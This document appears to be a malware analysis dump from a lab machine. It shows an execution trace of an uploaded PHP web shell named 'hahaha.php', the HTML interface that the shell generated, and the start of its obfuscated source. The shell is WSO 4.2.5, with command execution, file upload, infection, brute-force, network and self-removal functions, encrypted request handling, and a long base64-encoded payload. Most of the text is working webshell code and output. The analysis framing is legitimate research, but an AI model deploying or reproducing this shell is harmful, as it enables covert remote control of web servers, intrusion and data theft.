4	220	1	0.022858	1525688
4	220	R			'prepend.php'
4	221	0	0.022875	1525664	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'prepend.php'
4	221	1	0.022889	1525736
4	221	R			'prepend.php'
4	222	0	0.022903	1525744	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'prepend.php'
4	222	1	0.022917	1525936
4	222	R			'prepend.php'
4	223	0	0.022931	1525760	viewSize	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	57
4	223	1	0.022945	1525792
4	223	R			'57 B'
4	224	0	0.022960	1525856	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'prepend.php'
4	224	1	0.022973	1525928
4	224	R			'prepend.php'
4	225	0	0.022987	1525984	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'prepend.php'
4	225	1	0.023000	1526056
4	225	R			'prepend.php'
4	226	0	0.023014	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'prepend.php'
4	226	1	0.023027	1526248
4	226	R			'prepend.php'
4	227	0	0.023040	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'prepend.php'
4	227	1	0.023053	1526248
4	227	R			'prepend.php'
4	228	0	0.023066	1526400	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'prepend.php'
4	228	1	0.023078	1526472
4	228	R			'prepend.php'
4	229	0	0.023091	1526560	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'prepend.php'
4	229	1	0.023104	1526632
4	229	R			'prepend.php'
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	936	$l = 1
4	230	0	0.023129	1525536	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	941	1	'/var/www/html/uploads/'
4	230	1	0.023143	1525728
4	230	R			'/var/www/html/uploads/'
4	231	0	0.023159	1525536	class_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	947	1	'ZipArchive'
4	231	1	0.023174	1525576
4	231	R			FALSE
4	232	0	0.023189	1525536	hardFooter	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	954	0
5	233	0	0.023202	1525536	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	240	1	'/var/www/html/uploads/'
5	233	1	0.023219	1525576
5	233	R			TRUE
4		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	240	$is_writable = ' <font color=\'#FFDB5F\'>[ Writeable ]</font>'
5	234	0	0.023247	1525536	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	245	1	'actionFilesMan'
5	234	1	0.023262	1525576
5	234	R			TRUE
5	235	0	0.023275	1525792	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	245	1	'/var/www/html/uploads/'
5	235	1	0.023290	1525984
5	235	R			'/var/www/html/uploads/'
5	236	0	0.023304	1525920	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	246	1	'actionFilesTools'
5	236	1	0.023319	1525960
5	236	R			TRUE
5	237	0	0.023332	1526176	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	248	1	'actionFilesMan'
5	237	1	0.023346	1526216
5	237	R			TRUE
5	238	0	0.023360	1526432	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	249	1	'actionFilesTools'
5	238	1	0.023374	1526472
5	238	R			TRUE
5	239	0	0.023387	1526816	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	251	1	'actionConsole'
5	239	1	0.023400	1526856
5	239	R			TRUE
5	240	0	0.023413	1526816	function_exists	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	252	1	'actionFilesMan'
5	240	1	0.023427	1526856
5	240	R			TRUE
5	241	0	0.023440	1527072	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	254	1	'/var/www/html/uploads/'
5	241	1	0.023454	1527264
5	241	R			'/var/www/html/uploads/'
4	232	1	0.023470	1525536
3	35	1	0.023479	1518264
2	10	1	0.023487	1518264
1	3	1	0.023499	1475376
			0.023524	1391256
TRACE END   [2023-02-12 22:04:21.746354]


Generated HTML code

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>localhost - WSO 4.2.5</title>
<style>
	body {background-color:#444; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}

	#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color: #fff;background-color: #222;}
	table#toolsTbl {background-color: #222;}
	span,h1,a	{color:#df5 !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:solid 1px #df5;font:9pt Courier New;outline:none;}
	label {position:relative}
	label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #060a10;}
	.toolsInp	{width:300px}
    .main th{text-align:left;background-color:#5e5e5e;}
    .main tr:hover{background-color:#5e5e5e}
	input[type='submit']{background-color:#2E6E9C;}
	input[type='button']{background-color:#2E6E9C;}
	input[type='submit']:hover{background-color:#56AD15;}
	input[type='button']:hover{background-color:#56AD15;}
	.l2{background-color:#444}
    .l1{background-color:#333}
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '/var/www/html/';
    var a_ = 'FilesMan'
    var charset_ = 'UTF-8';
    var p1_ = '';
    var p2_ = '';
    var p3_ = '';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.c.value = encrypt(d.mf.c.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p1.value = encrypt(d.mf.p1.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p2.value = encrypt(d.mf.p2.value,'ab08edf2e5f896ca30f54153008b9d29');
		d.mf.p3.value = encrypt(d.mf.p3.value,'ab08edf2e5f896ca30f54153008b9d29');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('/hahaha.php', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
</head><body><div style="position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c">
<input type="hidden" name="p1">
<input type="hidden" name="p2">
<input type="hidden" name="p3">
<input type="hidden" name="charset">
</form><table class="info" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><td width="1"><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 <a href="https://noreferer.de/?https://www.google.com/search?q=Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64" target="_blank">[ Google ]</a> <a href="https://noreferer.de/?https://www.exploit-db.com/search/?action=search&amp;description=Linux+Kernel+5.15.0" target="_blank">[ Exploit-DB ]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 <span>Safe mode:</span> <font color="#FFDB5F"><b>OFF</b></font> <a href="#" onclick="g('Php',null,null,'info')">[ phpinfo ]</a> <span>Datetime:</span> 2023-02-12 19:03:50<br>216.08 GB <span>Free:</span> 189.54 GB (87.72%)<br><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)">/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)">var/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)">www/</a><a href="#" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)">html/</a> <font color="#FFDB5F"><b>drwxrwxrwx</b></font> <a href="#" onclick="g('FilesMan','/var/www/html','','','')">[ home ]</a><br></td><td width="1" align="right"><nobr><label><select onchange="g(null,null,null,null,null,this.value)"><option value="UTF-8" selected="">UTF-8</option><option value="Windows-1251">Windows-1251</option><option value="KOI8-R">KOI8-R</option><option value="KOI8-U">KOI8-U</option><option value="cp866">cp866</option></select></label><br><span>Server IP:</span><br>127.0.0.1<br><span>Client IP:</span><br>::1</nobr></td></tr></tbody></table><table style="background-color:#2E6E9C;" cellpadding="3" cellspacing="0" width="100%"><tbody><tr><th>[ <a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a> ]</th><th>[ <a href="#" onclick="g('FilesMan',null,'','','')">Files</a> ]</th><th>[ <a href="#" onclick="g('Console',null,'','','')">Console</a> ]</th><th>[ <a href="#" onclick="g('Infect',null,'','','')">Infect</a> ]</th><th>[ <a href="#" onclick="g('Sql',null,'','','')">Sql</a> ]</th><th>[ <a href="#" onclick="g('Php',null,'','','')">Php</a> ]</th><th>[ <a href="#" onclick="g('SafeMode',null,'','','')">Safe mode</a> ]</th><th>[ <a href="#" onclick="g('StringTools',null,'','','')">String tools</a> ]</th><th>[ <a href="#" onclick="g('Bruteforce',null,'','','')">Bruteforce</a> ]</th><th>[ <a href="#" onclick="g('Network',null,'','','')">Network</a> ]</th><th>[ <a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a> ]</th></tr></tbody></table><div><h1>File manager</h1><div class="content"><script>p1_=p2_=p3_="";</script><script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width="100%" class="main" cellspacing="0" cellpadding="2">
<form name="files" method="post"></form><tbody><tr><th width="13px"><input type="checkbox" onclick="sa()" class="chkbx"></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_name_0&quot;)">Name</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_size_0&quot;)">Size</a></th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_modify_0&quot;)">Modify</a></th><th>Owner/Group</th><th><a href="#" onclick="g(&quot;FilesMan&quot;,null,&quot;s_perms_0&quot;)">Permissions</a></th><th>Actions</th></tr><tr><td><input type="checkbox" name="f[]" value=".." class="chkbx"></td><td><a href="#" onclick="g('FilesMan','/var/www/html/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2023-02-12 19:03:48</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'..','chmod')"><font color="#FFDB5F"><b>drwxrwxrwx</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr class="l1"><td><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'view')">beneri.se_malware_analysis</a></td><td>0 B</td><td>2023-02-12 19:03:49</td><td>root/root</td><td><a href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis','chmod')"><font color="white"><b>-rw-r--r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a></td></tr><tr><td><input type="checkbox" name="f[]" value="hahaha.php" class="chkbx"></td><td><a href="#" onclick="g('FilesTools',null,'hahaha.php', 'view')">hahaha.php</a></td><td>69.99 KB</td><td>2023-02-12 19:03:49</td><td>osboxes/osboxes</td><td><a href="#" onclick="g('FilesTools',null,'hahaha.php','chmod')"><font color="white"><b>-rw-rw-r--</b></font></a></td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'hahaha.php', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'hahaha.php', 'touch')">T</a> <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'hahaha.php', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'hahaha.php', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'hahaha.php', 'download')">D</a></td></tr><tr id="fak"><td colspan="7">
	<input type="hidden" name="ne" value="">
	<input type="hidden" name="a" value="FilesMan">
	<input type="hidden" name="c" value="/var/www/html/">
	<input type="hidden" name="charset" value="UTF-8">
	<label><select name="p1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete">Delete</option><option value="tar">+ tar.gz</option></select></label><input type="submit" value="submit"></td></tr></tbody></table></div>
</div>
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
	<tbody><tr>
		<td><form onsubmit="g(null,this.c.value,'');return false;"><span>Change dir:</span><br><input class="toolsInp" type="text" name="c" value="/var/www/html/"><input type="submit" value="submit"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
	</tr><tr>
		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="text" name="d" required=""><input type="submit" value="submit"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="text" name="f" required=""><input type="submit" value="submit"></form></td>
	</tr><tr>
		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type="text" name="c" value=""><input type="submit" value="submit"></form></td>
		<td><form method="post" enctype="multipart/form-data">
		<input type="hidden" name="a" value="FilesMan">
		<input type="hidden" name="c" value="/var/www/html/">
		<input type="hidden" name="p1" value="uploadFile">
		<input type="hidden" name="ne" value="">
		<input type="hidden" name="charset" value="UTF-8">
		<span>Upload file:</span> <font color="#FFDB5F">[ Writeable ]</font><br><input class="toolsInp" type="file" name="f[]" multiple=""><input type="submit" value="submit"></form><br></td>
	</tr></tbody></table></div>
	<!-- particles --> <div id="particles-js"><canvas class="particles-js-canvas-el" width="1846" height="100" style="width: 100%; height: 100%;"></canvas></div><script src="https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
	<script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
	



</body></html>

Original PHP code

<?php /* php7.2 L u f i x 4.2.5 */$asqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5='HJ1XmqM4FIXfexeAAWNyMDnnnHP0/lcxqnmanq+bwkj3nvMflZCryZgMeyc/r8HZXVtrXNXSGtpVcO8lIbv/XuAw9H14l9bFz67rPVkLl8K6JrL086+6lt0xWKJLKwTfgyyd9Fs+T3mf7tZs2Ld7Zk0xvjgj3aKlUAehMvLPdLwGmLsqcPXgTUUm25Q90HqkX1ngTCoRSOyTR5zh61/GkfXuIpCyRpdQkZ3KQhYhPPEpRv5VO0ZTQW9MM6lWhXhZ3UmRqs/+6KTbGeMSk5zwBBVfwsPxjK4ubqmpaH1ZYvmC/1UHDdsDRDvV0MjzS6xy5W0cN6MtWySaUGs0gTUdEXgwvkz7eagK3CMq2DWEz3n8qxavsVz7jUYXUtzxwTIW2YzWoOr7l7IqOJMahPH2hl7JSJyVHGPvZCv4tExe6/ivml9LUyS0L/hS4Ra4+Xy2G4NVuWmY+4PnwsiJissuVSQs3TWvY+E8o0w0CFw1339VGxanqiuaRaPiMCSVoLytpmqUgVY7BcOak4xC7ba/Nj/oT5g2vg0vzndPK3vu/1X5ZbfDthEyOqjvJYqRZNzC29sFRGMtp/GjGWGrN+vEq+iz9tCwRNaZlNFdGhn8q4b7e7oKclDy122Kaq1+GRkfk4xi5WEfzJkoThN4+KaIFQWpk7RvOFMP5jVJC7i6PXdHKOwbTZbf2Vm+EGqEmTf5yKdmMC/ip5HiQHvae5nLCaVEwi5+N35ur50D850PPD9XFIbvjbDbEDTVr77We/qo3y0JV7xeln4g5MgomRumaRdThNX+oTGJzNW/ez8fblCH+qKL5OBXvmiydp5wNyGJos55zfx1P3JUlcpZT1LWz1od02yPvZQi/lVjM7vUWpk3kmDhuk7x7C13aFrDr3szDoesm1N4r/0RYVM/BPTqBnhWDLGwGgNcvY/TOw2Lspx1ysjHRUm7tnM2LkZ/aaI3kFO/VPqymLtUtnGIIQ0aGVVinf1h03/Vln03KUb9SqvkbYDhbVDZIfENVmBYkyEPfdtlLWwM/cAVE63C3y770AHfiZWC595aa7TJRmLcZIZl9drKDb7KFmtW5pFHPZqyhzpoRaT2bFORLqHLZz884ZLd3v9XfaMuz8g6ok5465fM197TER7piG5MFfAq1Eie2ui6d1eFT+NJ/mUXgmlsI7Bg61+FdKQ6XoNO8uTJ6Z9jbJwFu0zReEVx0FRn01/2vhz0rPCPxfRlYdbO+DTjax6zf9W0MYeOC87PvDwc0qO5CtkpxRthaNzlix/BYqxlxNwrpfCbdBwPqIZac4lEn8ConQbzSPYjTckdYXO9TSOxUPFHurpkOze8cxhkusky6vmt8B6aXpmpjZBldfC8AzN2DeYuXeGKNGraIRths0jXIY6GQX7zGYUdbW7di3qsqQ5Gcuv2+DxfMiQPfhOBOojN/VysNfHkekS3ZMIwbjph1DWvpicQJO5bcrugsWSTVv8OsXTBSsH3Jq5Zn3/VG8uh5bnUvSeJgd2I0FSpY4qZZlUjBnfXKh/z/vuR1hutX3zDG8tx3vae+nZFgi4p7KKA7uqLFM2b7Ql7QOS0YYUieOmfKiT6j/P6fMdnobiDE1gjQXR+co9pMzqgyOrlbr6U0aScrGW3nhayVea1Zy1CfeeX/r0CO3e53ZcmOqotRIO7hsseiVm2yfxX1XP8OtqjxZuSMVXHXt5tos5JR1K9ZIkCba3GtyCfnLSvpqpzBU/7i1GgnUNPMOYjKx/b5br13Rt8YEgCHlqCw2pK2tJD/WI61zr2nvbjFzpUOgaVDTezWcVIgSz8q0Kq1uSmbweNAF0oFvyI7ZTt8mbtB/w4BI4/W12SRzqGqgZvMONnRzTuWWMSLf9V7sGuXtFF+Od7/G5nxh2PL2OaHX/sem7szg4FqEsNpbu9XA9mtupBs/tzHxUvAbX2tT4j85pDzS4ler3Xi2HeZaJTzrvLPhgydaO5fodKkf9UaADiLk6VepxyA1GgQ+kHbSpOT3Y7dDqYZVLkLp8nde2OMOwZWRLLuafmMkbc2LfvAmFT/Jy47JBTCK6+C/QYHydD+dh4oRe9He1OGdhnp0oIWRX3t0u7XyzLyfymnLCw38N4z5RgbQK6BOj6TR/5Gp7jslGWULE0VrGMc8GP+5uX5c6L50mq9bFikyZgizkrM3Ja5PzsEujQ/VOGrJwsN24ZBtPTkW05ncmUc8c7B/D+y7hSaG221KHljSXSbBtcdDsY63f+q0TThgvt40AX24grS0v0u2gOHRnjnA+SmXt/D9VXX+zHO3SbeVO0utR5aCJLoHHgk0MH9R2Lr38347OHF/beGDXiqdy+fUTbmJUZcWfhkuvVSnYYHp95DFhTV0lg8f+qHyZBTQJFdRB6TBUjKj9v1j2P6j5Ur3LL2Ad1ZS/HI4taqXiIm+uzHVXxm9Ye+1fJB8kCFun27ZGQRrR+R97aVX+IJo0eMBbwJeqLO4eHv4rYfl/QsQ8tBD5yObL7rxJexag7CqIG+ijQ4V1POXtyUdXta5nI3K7rnLOi47QmFQ0xrKTMXF1iya96xuFf1ZPu+8aL0Pbr5gPTn/BUiZvubgEqFPY3bYUUpQgyxFtm/bZCrn/iijds4DM3Nf2rEmPOjK/+qIHBlPjB9x988I9+gpMKpSYHM0du7wQodlEWIzZo/JK/r3LBtuTsYMbiyrpri8ZcRHf2221A86U/4tmFRXvliInHnlQ75ftEneA4Xi/Won9P2mMle/11iZCcjIO19xNg8HH0dWF7Vllei1KFTPvWPto+7z+pQ6mzuKEk7EYIy0vtNX5BAf2rULsrCd5gW0X88TkVOIX2u7l1pOjuzZ6QeHNxrx9leXORYUPKGN01Xl2TD406mG+jUPS9gF/mZ4zaGW61OCeBwvX9KyOD+TDvN3KjRCByNU0YzKwo9C+KoDsw2wncu7dCVlqQt4Vq2VsiPiWeOhumN8xIKZSZVUTkJ7kb93esFBqxp91cz9owsJ6LA1b0cE7Y4splU4sDA8akFfBUu/AKMzlf3z0rW2ZzpHvv7HvFPUzEQ862rd5CxDfoMf23iUJsecSl7ZScBiFepPKkbDD924t30yFJFbrW+SniTyN8nAWhRqCnVwGaFlRL/K0vAH+U4bRmeDeHuidf7nxUN9uxMj8ZC/WoiJ3baUqix2WOkRfPwQuQxmWBGxATefhm9N03Opvu12cnvO6FVkar3h+T+lwm7rs6qbt5+4W28Tmz7eYcTky+4BP+q7Dt53jMSD7ZQ65tkCJO8P6Vq38iJPv+7qGzQXexRjlEzD+Vg9qEMAdcczD2JdTAiYhrH+ETbZjQvWQxToBj9Q+zt7W42eKMVNLwM5gVLdZnrZmDYeayvsbrEecJMLLZbO190z+mOlbquX+TNs82tXQHklvE/aSf1bXMy4aaotlcNn7IopGtSoKdnNXAJ++su7j1lt1YbAHAGD27OSTbTLOowcHlp0+FW064Z6rw5Bd0O6o+3vKj/WNdQSYSpgbXcdupSijj6OPUnzY92vdZ7kgAmhgqRyBY2/P5Op2tPGaCKELcfI7s5g7g/tv71QlwwSVACqGjmCvFHUWhvKqXaG/18AxG0q1yDB3D44VPthe/bjrYoRnrIf9XcWLNM+Jci5WlL69vgsd4wc4B7ck9q4zJu7tt630HRh6gM/1CnHnv9ej58uV6AmW6ZsiHurod7NcpxMQVfWK3bG8RKgOxVahvfcJHMCOHW+yeIlr+OCzqu7JZqU7WfxVf3zso3f3WSYlxjERWVsptjdZ2mzUKzxm2PnjQpAYrp6giJdfU105f1lsmdMa/6j6krfieFIY45W6+Kjvja+649cI0IsR2lpi66wtUs6lYu34fdcyx+e3v1CjnwEPNz5N1MhP75+POav5rouuHJsOIC2zvEoCPDs2TGZNrlX7OB5LSkmZhHXhpVRy4/5sPRPU14ksQI7XWfauUpGD6jIXyuyvZt09APi2vR1fOyfstpACsAzXa907fC/qvqjj+pFZxWh7hqBkjhm23dmUtTbCkIvXhK90Ptw0PGOaPBTmFQ9a68jrdRjgeMN/+DsCx7B0MjknG8r/hndWVrD5xuWbycQv1rC8Av9a+vxdb6X8Lf8wbgOrJcGJQaxLZ224HwqIncYUMCyTbyc4BNbVP1Ao5XCDNCSWaquXbzIx9KQoN0Wm4E0NyBy5I5D9GnQlOK5iV/KhC2sZ3ungPq1psS1RzU1fSD2nexVUP56II9S+AspYOiRmwA7xHQDGaj7p4zpLC2GqFyEn6FWZuyhTwCyKvJln61mRuB6Ug3HtcWuXdTJTVz0DP9fNQqroN8kNmhDseLuPlYUM2VmngaPsLCcHfjMptHJ38cNNP9WL/MCxOhDH6X1WC7JKclTtfwS+2odj2ajd/xleiBz49BmNuwiZzCqQnHHCylJDBvfUxFi+OfEAm+rAjUKr4F2y0da/k9XuP1ggCsd3VtiuFt/CduUpfLvj0ogn1PyxjosOVucwisf+qrAptUceKUD2QzR2S/MOuCj91Vuus5dcef7FJXM1JXPgPse3n49tuz42264wlyAY7SVFnORJKyzWnKHAfPWAXR